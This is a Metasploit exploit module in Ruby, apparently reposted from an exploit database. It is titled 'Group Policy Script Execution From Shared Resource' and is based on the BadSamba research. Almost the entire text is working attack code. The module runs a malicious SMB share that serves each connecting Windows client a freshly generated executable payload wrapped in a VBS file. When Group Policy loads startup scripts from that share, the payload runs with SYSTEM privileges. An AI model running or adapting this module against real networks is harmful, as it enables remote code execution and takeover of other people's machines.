## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::SMB::Server::Share def initialize(info={}) super(update_info(info, 'Name' => 'Group Policy Script Execution From Shared Resource', 'Description' => %q{ This is a general-purpose module for exploiting systems with Windows Group Policy configured to load VBS startup/logon scripts from remote locations. This module runs a SMB shared resource that will provide a payload through a VBS file. Startup scripts will be executed with SYSTEM privileges, while logon scripts will be executed with the user privileges. Have into account which the attacker still needs to redirect the target traffic to the fake SMB share to exploit it successfully. Please note in some cases, it will take 5 to 10 minutes to receive a session. }, 'Author' => [ 'Sam Bertram ', # BadSamba 'juan vazquez' # msf module ], 'References' => [ ['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'], ['URL', 'https://github.com/GDSSecurity/BadSamba'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X86_64], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 26 2015' )) register_options( [ OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)']) ], self.class) deregister_options('FILE_CONTENTS') end def setup super self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs" @custom_payloads = {} print_status("File available on #{unc}...") end def on_client_connect(client) super(client) unless @custom_payloads[:client] p = regenerate_payload(client) exe = p.encoded_exe @custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe) end end def get_file_contents(client:) contents = @custom_payloads[client] || super(client: client) contents end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-06-08]